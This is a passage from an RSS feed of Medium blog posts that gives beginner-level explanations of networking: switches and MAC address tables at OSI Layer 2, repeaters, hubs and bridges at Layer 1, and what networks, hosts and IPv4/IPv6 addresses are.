and ensuring data reaches its intended destination. By understanding how routing tables are built and how ARP resolution works, you gain a deeper insight into the role of routers in the OSI model.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10bcfe8aef79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Everything Switches Do & OSI Model Layer 2]]></title>
            <link>https://medium.com/@ps9488348/everything-switches-do-osi-model-layer-2-bf104dcbdf42?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf104dcbdf42</guid>
            <category><![CDATA[osi-model]]></category>
            <category><![CDATA[networking-devices]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[switch]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Fri, 08 Aug 2025 14:11:44 GMT</pubDate>
            <atom:updated>2025-08-08T14:11:44.202Z</atom:updated>
            <content:encoded><![CDATA[<p>In our previous discussion, we explored different networking devices such as <strong>repeaters</strong>, <strong>hubs</strong>, and <strong>bridges</strong>, and we also briefly touched on <strong>Layer 1 of the OSI model</strong>.</p><p>If you haven’t read that article yet, I highly recommend checking it out first — it will help you better understand the fundamentals <em>(</em><a href="https://medium.com/@ps9488348/repeaters-hubs-bridges-the-osi-model-layer-1-cedf8751fd2e"><em>Here</em></a><em>)</em></p><p>In that post, I intentionally left out two key devices — <strong>switches</strong> and <strong>routers</strong> — because they deserve their own dedicated, in-depth explanation. Today, we’ll focus entirely on <strong>switches</strong>, how they work, and their role in networking.</p><h4><strong>📌 Switches</strong></h4><p>Switches are networking devices whose primary function is <strong>switching</strong> — the process of moving data between devices within the same network. All devices connected through a switch are part of the same IP network.</p><p>Here’s a basic representation of a <strong>switch-to-host network connection</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*6Ehu7EvVDslK6ITN9tU7xw.png" /><figcaption>Source: UniNets</figcaption></figure><p>Before we go deeper, it’s important to know that <strong>switches operate at Layer 2</strong> of the OSI model — the <strong>Data Link Layer</strong> — because they make forwarding decisions using the <strong>MAC address</strong> of devices.<br> If that sounds a bit complex, don’t worry — I’ll break it down step-by-step so it’s easy to follow.</p><h4><strong>🛠 How Switches Work</strong></h4><p>Since switches operate based on MAC addresses, we can ignore IP addresses for now. But there’s one key concept you need to understand first:</p><p>Switches maintain a <strong>MAC address table</strong>, which maps each switch port to the MAC address of the connected device. They perform three main actions:</p><ol><li><strong>Learn</strong> — Update the MAC address table with the mapping between the switch port and the source MAC address.</li><li><strong>Flood</strong> — Send a frame to all connected ports <strong>except</strong> the one it was received on (used when the destination is unknown).</li><li><strong>Forward</strong> — Deliver a frame to the correct port based on the MAC address table.</li></ol><h4><strong>Example: Single Switch Network</strong></h4><p>Let’s walk through how a switch handles communication between devices.</p><p><strong>Step 1:</strong><br> Host A wants to send a data packet to Host D, both connected to the same switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eu3i7zUiV6jGEPIL3juPEQ.jpeg" /></figure><p><strong>Step 2:</strong><br> Host A sends the packet to the switch. Since the switch doesn’t yet know Host D’s MAC location, it <strong>floods</strong> the packet to all connected hosts except the sender. Hosts without the matching MAC simply ignore it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7mc1U3Bk2V6TTHrJ5O_gA.jpeg" /></figure><p><strong>Step 3:</strong><br> Once the destination (Host D with MAC d4d4) is found, the switch updates its MAC table and <strong>forwards</strong> future packets directly to Host D.</p><p><strong>Step 4:</strong><br> Host D sends a response back to Host A (a1a1). The switch now knows the locations of both devices and can forward traffic without flooding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22yxSkQx63j7eUu0AJBGqw.jpeg" /></figure><h4><strong>Example: Multiple Switches in a Network</strong></h4><p>Now, let’s make things a bit more interesting — what happens when multiple switches are connected?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tKvYOUk18Nvs3MrnMIV3NQ.jpeg" /></figure><p><strong>Step 1:</strong><br> Host A sends a data packet to Host B, with a source MAC of aaaa and a destination MAC of bbbb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqoFzUffcaAoMb9qC1yb-A.jpeg" /></figure><p><strong>Step 2:</strong><br> Switch 1 (S1) floods its network to find Host B. When the packet reaches Switch 2 (S2), it also floods its own network to locate the destination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBp_ISIVKrRfv-1UjT-W2Q.jpeg" /></figure><p><strong>Step 3:</strong><br> Once Host B is found, the data packet is delivered, and Host B sends a response back to Host A. From then on, both switches update their MAC tables to forward packets directly without flooding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6b3AFqKkk1GkCprFy1MydA.jpeg" /></figure><p>You can try applying this process to different hosts in the network to test your understanding.</p><h4><strong>🧠 OSI Model Layer 2 — Data Link Layer Summary</strong></h4><ul><li><strong>Name:</strong> Data Link Layer (Layer 2)</li><li><strong>Scope:</strong> Hop-to-hop communication</li><li><strong>Interacts with:</strong> Physical layer (Layer 1)</li><li><strong>Addressing Scheme:</strong> MAC address</li><li><strong>Technologies:</strong> NICs, Switches</li><li><strong>Key Role:</strong> Ensures data is delivered between devices on the same network segment.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf104dcbdf42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Repeaters, Hubs, Bridges & the OSI Model (Layer 1)]]></title>
            <link>https://medium.com/@ps9488348/repeaters-hubs-bridges-the-osi-model-layer-1-cedf8751fd2e?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/cedf8751fd2e</guid>
            <category><![CDATA[osi-model]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tech-tutorials]]></category>
            <category><![CDATA[network-devices]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Thu, 07 Aug 2025 22:15:53 GMT</pubDate>
            <atom:updated>2025-08-07T22:15:53.634Z</atom:updated>
            <content:encoded><![CDATA[<p>Networking is all about connecting computers to enable communication and share resources. Typically, we use cables or wireless signals to send and receive data. But what happens when the devices are far apart? By the time the data reaches its destination, it may have degraded — or disappeared entirely.</p><p>That’s where repeaters come into play.</p><h4><strong>🔁 What is a Repeater?</strong></h4><p>As the name suggests, a <strong>repeater</strong> amplifies and retransmits signals to extend the reach of your network. It ensures that the data signal maintains its strength over long distances, preventing signal loss.</p><h4><strong>🧩 The Problem of Connecting Multiple Devices</strong></h4><p>Now that we’ve handled long-distance communication, let’s talk about another challenge: <strong>connecting multiple hosts together</strong>.</p><p>Imagine connecting 4 devices directly to each other. Sounds messy, right? Now imagine scaling that to 10, 20, or even 100 devices. The complexity increases exponentially.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*LsnQsOy9YoTYtSvZZ1M0AQ.png" /></figure><h4><strong>🔌 Enter the Hub</strong></h4><p>To solve this problem, we use a <strong>hub</strong> — essentially a <strong>multi-port repeater</strong>. It simplifies the network by allowing every device to connect through a central point. When one device sends data, the hub broadcasts it to all others.</p><p>This makes the network easier to manage and scale.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqBx8olMkV1lgewcQXv6WA.png" /></figure><h4><strong>⚠️ The Downside of Hubs</strong></h4><p>But there’s a catch. Since a hub broadcasts data to all connected hosts, <strong>every device receives data not meant for them</strong>. This raises privacy and efficiency concerns.</p><p>That’s where <strong>bridges</strong> step in.</p><h4><strong>🌉 What is a Bridge?</strong></h4><p>A <strong>bridge</strong> connects two different network segments and helps isolate traffic. It has only two ports and learns which hosts are on each side. This allows it to make intelligent decisions about forwarding data.</p><p>Still confused? Let’s break it down:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAjTcRSXnRi7YjH_HgvA_A.jpeg" /><figcaption>source: CBT Nuggets</figcaption></figure><p><strong>🧪 Example Scenario:</strong></p><ul><li>At <strong>Hub 1 (H1)</strong>, Host A sends a data packet D1. The hub sends it to Host B, and the bridge.</li><li>The <strong>bridge inspects the packet</strong>, determines it belongs to H1’s segment, and <strong>blocks it from reaching Hub 2</strong> — protecting H2’s privacy.</li><li>The same happens at <strong>Hub 2 (H2)</strong> when it sends packet D2.</li></ul><p>Now, what if a host at H1 wants to communicate with a host at H2?</p><p>In that case, the bridge <strong>recognises</strong> that the destination lies on the other side and <strong>forwards</strong> the packet across. There’s more technical detail behind this, but it’s beyond the scope of this article.</p><h4><strong>🧱 Introduction to the OSI Model</strong></h4><p>Networking follows a standardised framework known as the <strong>OSI Model</strong> (Open Systems Interconnection). It’s made up of <strong>seven layers</strong>:</p><ol><li><strong>Physical</strong></li><li><strong>Data Link</strong></li><li><strong>Network</strong></li><li><strong>Transport</strong></li><li><strong>Session</strong></li><li><strong>Presentation</strong></li><li><strong>Application</strong></li></ol><p>In this post, we’ll briefly explore the <strong>Physical Layer (Layer 1)</strong>.</p><h4><strong>🧬 Layer 1 — The Physical Layer</strong></h4><p>Before we go further, let’s clarify: <strong>What exactly is “data”?</strong></p><p>In networking, data exists as <strong>binary bits</strong> — 1’s and 0’s. These bits need a medium to travel across hosts, and the <strong>Physical Layer</strong> handles that responsibility.</p><p>This layer includes the <strong>cables, hubs, repeaters, Wi-Fi signals</strong>, and other hardware that physically move data between devices.</p><h4><strong>✅ Final Thoughts</strong></h4><p>That wraps up our beginner-friendly guide to <strong>repeaters, hubs, bridges</strong>, and an <strong>intro to the OSI Model</strong>. We covered:</p><ul><li>How repeaters boost signal strength</li><li>Why hubs simplify networks (but have limitations)</li><li>How bridges protect privacy and improve traffic control</li><li>What the OSI Model is — with a deep dive into Layer 1</li><li>In the next articles, we’ll continue exploring the rest of the OSI layers in simple terms.</li></ul><p>Thanks for reading! 👋<br> If you found this helpful, follow me for more beginner-friendly networking content. 💻✨</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cedf8751fd2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is a Network? What are hosts, IPs?]]></title>
            <link>https://medium.com/@ps9488348/what-is-a-network-what-are-hosts-ips-fdbc69d6b922?source=rss-3107c0ee7104------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdbc69d6b922</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[ip-address]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[prince singh]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:33:19 GMT</pubDate>
            <atom:updated>2025-07-27T21:33:19.882Z</atom:updated>
            <content:encoded><![CDATA[<p>At some point, we’ve all wondered:<br> <strong>How do our devices connect to Wi-Fi so seamlessly?</strong><br> Or <strong>how can we share large files with someone halfway across the world?</strong></p><p>It may seem like magic, but in reality, it’s all powered by something very real — <strong>networking</strong>.</p><p>This is the <strong>first post</strong> in my networking blog series, where I’ll do my best to explain important concepts in a beginner-friendly way. By the end of the series, my goal is to help you build a solid understanding of how computer networks actually work.</p><p>In this post, we’ll start with something simple and relatable:<br> <strong>What is a network?</strong><br> What are <strong>IP addresses?</strong></p><p>I’m still learning too, and while I’ll strive to make everything as clear and accurate as possible — if you spot anything that could be improved, I genuinely welcome your feedback. Let’s learn together!</p><h4><strong>What is a Network?</strong></h4><p>Well, think of it as a group of electronic devices — like computers, phones, or even printers — all connected together so they can talk to each other and share stuff. This connection can happen either through actual wires or wirelessly (yeah, Wi-Fi magic).</p><p>Thanks to networks, we can send files, browse the internet, print things from across the room, or even video call someone sitting thousands of miles away. Pretty cool, right?</p><h4><strong>What is a host?</strong></h4><p>Sounds like a mysterious word, right? Don’t worry — it’s actually pretty simple.</p><p>A <strong>host</strong> is just a computer or any device that’s connected to a network. Now, hosts can play two main roles:</p><p>(a) Some hosts are set up to <strong>provide resources</strong> — like hosting websites, running online games, or storing files. These are often called <strong>servers</strong>.<br>(b) Other hosts are the ones that <strong>request those resources</strong>, like when you visit a website, stream a video, or play a multiplayer game. These are known as <strong>clients</strong>, or just regular <strong>users like us</strong>.</p><p>So in short, whether it’s a server or a laptop browsing the web — if it’s on a network and talking to others, it’s a <strong>host</strong>.</p><h4><strong>What is an IP address?</strong></h4><p>Alright! You’ve got your laptop fired up, connected to high-speed Wi-Fi, and you’re ready to experience the magic of networking for the first time. You open your browser and try to access a PDF file your friend sent over in a group chat.</p><p>But wait — how did that file know where to go?<br> Sure, your friend clicked “send,” but how did their device know where <em>your</em> laptop was?</p><p>While there are a bunch of technical things going on behind the scenes, the key idea here is something called an <strong>IP address</strong>.</p><p>Think of an IP address like the <strong>home address</strong> of your device on the internet. Just like your house has a unique address for receiving letters and packages, your device has a unique IP address so it can send and receive data.</p><p>In our example, both your friend’s device and your laptop have IP addresses. When your friend hits “send,” the file gets directed to <em>your</em> IP address — just like a letter being delivered to your door.</p><p><strong>IP</strong> stands for <strong>Internet Protocol</strong> — it’s a set of rules that govern how data travels across the internet. An IP address is basically a label that follows these rules and helps identify your device on a network.</p><p><strong>IPv4 vs IPv6</strong></p><p>There are <strong>two main types</strong> of IP addresses: <strong>IPv4</strong> and <strong>IPv6</strong>.</p><ul><li><strong>IPv4</strong> is the older and more common format. It looks like this: 192.168.0.1 (four sets of numbers separated by dots).</li><li><strong>IPv6</strong> is newer and designed to support more devices. It looks longer and more complex: 2001:0db8:85a3:0000:0000:8a2e:0370:7334.</li></ul><p>IPv6 was introduced because we’re running out of IPv4 addresses due to the growing number of internet-connected devices.</p><p><strong>Public vs Private IP addresses</strong></p><p>There are also two categories of IP addresses:</p><ul><li><strong>Public IP address</strong>: This is the IP that your home or office network uses to connect to the internet. It’s assigned by your Internet Service Provider (ISP) and can be seen by websites you visit.</li><li><strong>Private IP address</strong>: These are used <strong>inside</strong> your local network (like your Wi-Fi). Your laptop, phone, and smart TV all have private IPs so they can talk to each other within your home network.</li></ul><p>Think of your <strong>public IP</strong> as the front gate to your neighbourhood, and <strong>private IPs</strong> as the individual house numbers within it.</p><p>That’s it for the basics! Now that you know what a network is, what hosts are, and how IP addresses work, we’ll start getting into more interesting concepts — stay tuned for the next post, where we’ll talk about the actual devices that make networking possible (like switches, routers, and more).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdbc69d6b922" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>